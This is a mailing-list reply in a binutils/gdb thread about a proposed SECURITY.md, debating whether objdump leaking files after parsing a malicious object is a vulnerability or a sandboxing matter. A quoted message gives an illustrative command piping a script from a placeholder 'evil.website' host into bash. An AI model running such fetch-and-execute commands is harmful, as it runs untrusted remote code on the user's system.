Re: RFC: Adding a SECURITY.md document to the Binutils
Richard Earnshaw via Gdb <[email protected]>
| Newsgroups | gmane.comp.gdb.devel,gmane.comp.gnu.binutils |
|---|---|
| Message-ID | <[email protected]> |
On 13/04/2023 14:35, Siddhesh Poyarekar wrote: > On 2023-04-13 09:11, Richard Earnshaw wrote: >>> This is why when one does a: >>> >>> curl -s http://evil.website/malicious-script.sh | bash >>> >>> it is a legitimate security issue, but it's not a vulnerability in >>> bash, nor can it be secured in bash. One must either do this in a >>> sandbox to contain its impact in that sandbox, or do a secondary >>> analysis (again in a sandbox) to determine that it is safe. >> >> Right, but that's not the case I was concerned about. My scenario is >> more like when you run something like >> >> objdump foo.o >> >> but reading foo.o causes corruption in the tools (eg by a buffer >> exploit) and ends up sending a confidential file to a third party. > > It's not fundamentally different from, e.g. > > bash malicious-script.sh > > it just feels different because you elided the transport mechanism. > Fundamentally, it is unsafe to do anything with untrusted content > without sandboxing, so objdump is no different. Sure, objdump is an > analysis tool, so it should be able to analyze foo.o without crashing, > but that's a robustness issue, not a security one. The security aspect > should be handled by a sandbox. Sorry, I disagree. Sending files to third parties is completely outside of the intended scope of objdump, so if it ends up being able to do so, that's a security issue. R.